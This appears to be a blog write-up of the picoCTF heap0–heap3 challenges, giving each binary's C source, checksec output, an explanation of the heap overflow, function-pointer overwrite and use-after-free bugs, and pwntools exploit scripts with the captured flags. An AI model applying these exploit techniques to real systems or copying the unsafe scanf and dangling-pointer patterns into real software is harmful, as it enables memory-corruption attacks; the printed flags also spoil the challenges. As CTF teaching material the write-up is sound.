Here’s my writeup for heap0, heap1, heap2 and heap3 challenges for picoctf.

I decided to publish the writeups for each challenge in one blog post.

heap0

file + checksec + C code

A 64-bit dynamically linked ELF with debugging info is given.

file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2015ade3c2b89f5069cb8c54dd750d1b9849062d, for GNU/Linux 3.2.0, with debug_info, not stripped

NX, and PIE are enabled.

checksec chall
[*] '/root/picoctf/heap0/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
    Debuginfo:  Yes

Here’s the source code for the binary.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5

int num_allocs;
char *safe_var;
char *input_data;

void check_win() {
    if (strcmp(safe_var, "bico") != 0) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

void print_menu() {
    printf("\n1. Print Heap:\t\t(print the current state of the heap)"
           "\n2. Write to buffer:\t(write to your own personal block of data "
           "on the heap)"
           "\n3. Print safe_var:\t(I'll even let you look at my variable on "
           "the heap, "
           "I'm confident it can't be modified)"
           "\n4. Print Flag:\t\t(Try to print the flag, good luck)"
           "\n5. Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {
    printf("\nWelcome to heap0!\n");
    printf(
        "I put my data on the heap so it should be safe from any tampering.\n");
    printf("Since my data isn't on the stack I'll even let you write whatever "
           "info you want to the heap, I already took care of using malloc for "
           "you.\n\n");
    fflush(stdout);
    input_data = malloc(INPUT_DATA_SIZE);
    strncpy(input_data, "pico", INPUT_DATA_SIZE);
    safe_var = malloc(SAFE_VAR_SIZE);
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("Heap State:\n");
    printf("+-------------+----------------+\n");
    printf("[*] Address   ->   Heap Data   \n");
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", safe_var, safe_var);
    printf("+-------------+----------------+\n");
    fflush(stdout);
}

int main(void) {

    // Setup
    init();
    print_heap();

    int choice;

    while (1) {
        print_menu();
	int rval = scanf("%d", &choice);
	if (rval == EOF){
	    exit(0);
	}
        if (rval != 1) {
            //printf("Invalid input. Please enter a valid choice.\n");
            //fflush(stdout);
            // Clear input buffer
            //while (getchar() != '\n');
            //continue;
	    exit(0);
        }

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print safe_var
            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
                   safe_var);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

Exploit Explanation

The code is long, but our goal is pretty simple.

We need to call check_win and overwrite safe_var to change it to anything other than bico to print the flag.

The first malloc allocates 5 bytes of data to input_data.

input_data can only store 4 bytes of data, s ince a null byte is added at the end.

#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5
void init() {
    printf("\nWelcome to heap0!\n");
    printf(
        "I put my data on the heap so it should be safe from any tampering.\n");
    printf("Since my data isn't on the stack I'll even let you write whatever "
           "info you want to the heap, I already took care of using malloc for "
           "you.\n\n");
    fflush(stdout);
    input_data = malloc(INPUT_DATA_SIZE);
    strncpy(input_data, "pico", INPUT_DATA_SIZE);
    safe_var = malloc(SAFE_VAR_SIZE);
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

The scanf in the write_buffer function will take input until it hits a whitespace.

It doesn’t know that input_data can store only 4 bytes.

This is called a heap-based overflow. Unlike stack overflows, it’s named a heap based overflow because the vulnerable code uses malloc.

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

By sending a whole bunch of dummy data through scanf will allow us to overwrite safe_var changing the value from bico to something else and will print the flag.

But How can we know the exact amount of bytes to send to change safe_var?

Let’s run the binary first.

The binary prints the address of input_data and safe_var.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x5c7a91a326b0  ->   pico
+-------------+----------------+
[*]   0x5c7a91a326d0  ->   bico
+-------------+----------------+

The offset between the input_data and safe_var is 32 bytes.

0x5c7a91a326d0 - 0x5c7a91a326b0 
# 32 

Sending 32 bytes of dummy data overwrites safe_var.

The binary then prints YOU_WIN.

By sending this to remote, I’ll get the flag.

./chall 

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x5c7a91a326b0  ->   pico
+-------------+----------------+
[*]   0x5c7a91a326d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 2
Data for buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
Segmentation fault (core dumped)

Here’s the exploit code.

By the way, you can use sendline instead of sendlineafter as well.

Exploit code

from pwn import *

r = remote("tethys.picoctf.net", 53392)
r.sendlineafter(b"Enter your choice: ", b"2")
r.sendlineafter(b"Data for buffer: ", b"A" * 32)
r.sendlineafter(b"Enter your choice: ", b"4")
r.interactive()
# picoCTF{my_first_heap_overflow_4fa6dd49}

heap1

file + checksec + C code

A 64-bit ELF file is given as usual.

file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e191661a34476dabf75adb49242d4b71521a6295, for GNU/Linux 3.2.0, with debug_info, not stripped

NX, and PIE are enabled.

checksec chall
[*] '/root/picoctf/heap1/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
    Debuginfo:  Yes

Here’s the C code for the binary.

It’s almost identical to the C code used in heap0.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5

int num_allocs;
char *safe_var;
char *input_data;

void check_win() {
    if (!strcmp(safe_var, "pico")) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

void print_menu() {
    printf("\n1. Print Heap:\t\t(print the current state of the heap)"
           "\n2. Write to buffer:\t(write to your own personal block of data "
           "on the heap)"
           "\n3. Print safe_var:\t(I'll even let you look at my variable on "
           "the heap, "
           "I'm confident it can't be modified)"
           "\n4. Print Flag:\t\t(Try to print the flag, good luck)"
           "\n5. Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {
    printf("\nWelcome to heap1!\n");
    printf(
        "I put my data on the heap so it should be safe from any tampering.\n");
    printf("Since my data isn't on the stack I'll even let you write whatever "
           "info you want to the heap, I already took care of using malloc for "
           "you.\n\n");
    fflush(stdout);
    input_data = malloc(INPUT_DATA_SIZE);
    strncpy(input_data, "pico", INPUT_DATA_SIZE);
    safe_var = malloc(SAFE_VAR_SIZE);
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("Heap State:\n");
    printf("+-------------+----------------+\n");
    printf("[*] Address   ->   Heap Data   \n");
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", safe_var, safe_var);
    printf("+-------------+----------------+\n");
    fflush(stdout);
}

int main(void) {

    // Setup
    init();
    print_heap();

    int choice;

    while (1) {
        print_menu();
	if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print safe_var
            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
                   safe_var);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

Exploit Explanation

The only difference is this line in the check_win function.

After filling the 32-byte gap with dummy data, we just need to add pico to the paylaod.

This overwrites safe_var with the correct string to get the flag.

if (!strcmp(safe_var, "pico")) 
    printf("\nYOU WIN\n");

Exploit code

from pwn import * 

r=remote('tethys.picoctf.net', 58636)
r.sendlineafter(b'Enter your choice: ',b'2')
payload=b'A'*32+b'pico'
r.sendlineafter(b'Data for buffer: ',payload)
r.sendlineafter(b'Enter your choice: ',b'4')
r.interactive()

You can use sendline instead of sendlineafter for this level as well.

heap2

file + checksec + C code

Another 64-bit ELF, with debugging info is given.

file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d5184d264ae0c1259ba3bb7a1e20fc348b4274b0, for GNU/Linux 3.2.0, with debug_info, not stripped

NX and PIE are enabled as usual.

checksec chall
[*] '/root/picoctf/heap2/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64

int num_allocs;
char *x;
char *input_data;

void win() {
    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);
}

void check_win() { ((void (*)())*(int*)x)(); }

void print_menu() {
    printf("\n1. Print Heap\n2. Write to buffer\n3. Print x\n4. Print Flag\n5. "
           "Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {

    printf("\nI have a function, I sometimes like to call it, maybe you should change it\n");
    fflush(stdout);

    input_data = malloc(5);
    strncpy(input_data, "pico", 5);
    x = malloc(5);
    strncpy(x, "bico", 5);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("[*]   Address   ->   Value   \n");
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", x, x);
    fflush(stdout);
}

int main(void) {

    // Setup
    init();

    int choice;

    while (1) {
        print_menu();
	if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print x
            printf("\n\nx = %s\n\n", x);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

Exploit Explanation

The code has changed quite a bit from the last two levels.

This time there isn’t a condition that we need to satisfy in the win function to print the flag.

However there is a check_win function.

void win() {
    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);
}

void check_win() { ((void (*)())*(int*)x)(); }

We also need to select an option (1) to print the address of input_data.

What is this?

This is something that first appeared in heap2 and it looks a bit intimidating.

The expression ((void (*)())*(int*)x)() in C involves several levels of casting and dereferencing, ultimately resulting in a function call.

The check_win function is a classic arbitrary code execution vulnerability. It takes the first 8 bytes of data stored in the x buffer, treats them as a memory address, and then jumps to that address to execute code."

void check_win() { ((void (*)())*(int*)x)(); }

The offset is the same as heap0 and heap1 which is 32 bytes, but now it prints the memory address of input_data and x.

./chall 

I have a function, I sometimes like to call it, maybe you should change it

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 1
[*]   Address   ->   Value   
+-------------+-----------+
[*]   0x96da6b0  ->   pico
+-------------+-----------+
[*]   0x96da6d0  ->   bico

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice:

The check_win function reads the contents of the x buffer and executes it as a function address. Our plan is to use the heap overflow to overwrite the data in the x buffer. We’ll fill the 32-byte gap between input_data and x with junk, and then place the address of the win function directly into x.

Here’s the exploit code.

Exploit code

from pwn import *

r = remote("mimas.picoctf.net", 57147)
e = ELF("./chall")
r.sendlineafter(b"Enter your choice: ", b"2")
payload = b"A" * 32 + p64(e.symbols["win"])
r.sendlineafter(b"Data for buffer: ", payload)
r.sendlineafter(b"Enter your choice: ", b"4")
r.interactive()
# picoCTF{and_down_the_road_we_go_ba77314d}

P.S

At first I couldn’t get the flag locally even though my pwntools script looked flawless.

To get a flag locally you need to create a flag.txt and then running the script will print the flag.

I guess you’ll have to get used to weird code like ((void (*)())*(int*)x)(); when solving pwnable problems. lol

heap3

We’re on to the final challenge in the heap series.

Same as before, a 64-bit ELF with debugging info is given.

file + checksec + C code

file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3fa64145c4efbd5a267e0525f58e294fba23ad2f, for GNU/Linux 3.2.0, with debug_info, not stripped

NX and PIE are enabled.

Now I’m thinking the challenge author probably ran the same makefile for all 4 binaries from heap0 to heap3.

checksec chall
[*] '/root/picoctf/heap3/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
    Debuginfo:  Yes

Let’s check the C code. It’s completely different from the previous 3 levels.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64

// Create struct
typedef struct {
  char a[10];
  char b[10];
  char c[10];
  char flag[5];
} object;

int num_allocs;
object *x;

void check_win() {
  if(!strcmp(x->flag, "pico")) {
    printf("YOU WIN!!11!!\n");

    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);

  } else {
    printf("No flage for u :(\n");
    fflush(stdout);
  }
  // Call function in struct
}

void print_menu() {
    printf("\n1. Print Heap\n2. Allocate object\n3. Print x->flag\n4. Check for win\n5. Free x\n6. "
           "Exit\n\nEnter your choice: ");
    fflush(stdout);
}

// Create a struct
void init() {

    printf("\nfreed but still in use\nnow memory untracked\ndo you smell the bug?\n");
    fflush(stdout);

    x = malloc(sizeof(object));
    strncpy(x->flag, "bico", 5);
}

void alloc_object() {
    printf("Size of object allocation: ");
    fflush(stdout);
    int size = 0;
    scanf("%d", &size);
    char* alloc = malloc(size);
    printf("Data for flag: ");
    fflush(stdout);
    scanf("%s", alloc);
}

void free_memory() {
    free(x);
}

void print_heap() {
    printf("[*]   Address   ->   Value   \n");
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", x->flag, x->flag);
    printf("+-------------+-----------+\n");
    fflush(stdout);
}

int main(void) {

    // Setup
    init();

    int choice;

    while (1) {
        print_menu();
	if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            alloc_object();
            break;
        case 3:
            // print x
            printf("\n\nx = %s\n\n", x->flag);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            free_memory();
            break;
        case 6:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

Exploit Explanation

To get the flag we need to call the check_win and change the value of x.flag to pico.

void check_win() {
  if(!strcmp(x->flag, "pico")) {
    printf("YOU WIN!!11!!\n");

    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);

  } else {
    printf("No flage for u :(\n");
    fflush(stdout);
  }
  // Call function in struct
}

A Use-After-Free vulnerability is present in the C code.

void free_memory() {
    free(x);
}

After free(x) is called, the pointer x is not set to NULL.

It becomes a dangling pointer, still pointing to the recently freed memory region.

Modern memory allocators (glibc malloc in this case) are optimized for speed. When you free a small chunk of memory, the allocator doesn’t immediately return it to the operating system.

Instead, it puts it in a list of available chunks, often called a bin or a freelist. For small chunks like this, it will likely use the tcache (Thread-Local Cache).

When you later call malloc and ask for a chunk of the exact same size, the allocator says, “Great! I have one of those ready to go right here,” and gives you the exact same memory address you just freed.

To change x.flag to pico we need to free x so it still holds the old memory address.

Then we need to allocate 35 bytes which is the size of object.

After sending 30 bytes of dummy data with pico at the end will set x.flag to pico.

./chall 

freed but still in use
now memory untracked
do you smell the bug?

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 1
[*]   Address   ->   Value   
+-------------+-----------+
[*]   0x2bd766ce  ->   bico
+-------------+-----------+

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 5

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 2
Size of object allocation: 35
Data for flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico

1. Print Heap
2. Allocate object
3. Print x->flag
4. Check for win
5. Free x
6. Exit

Enter your choice: 4
YOU WIN!!11!!
Segmentation fault (core dumped)

Exploit code

Here’s the exploit code.

from pwn import *

r = remote("tethys.picoctf.net", 53846)
r.sendline(b"5")
r.sendline(b"2")
r.sendline(b"35")
r.sendline(b"A" * 30 + b"pico")
r.sendline(b"4")
r.interactive()

# picoCTF{now_thats_free_real_estate_a7381726}

I found this challenge pretty hard, it’s probably because I don’t have a lot of experience with heaps and malloc in general so it was difficult for me.

I don’t think most people will know what tcache or bins are unless they’re a ctfer.

It’s a niche topic and to me it looks like you need to have a vast knowledge on how malloc works in detail.

Super hard for normal people or non ctfers lol…

Extra reading

  1. tcache nightmare

  2. tcache StackOverflow

  3. glibc MallocInternals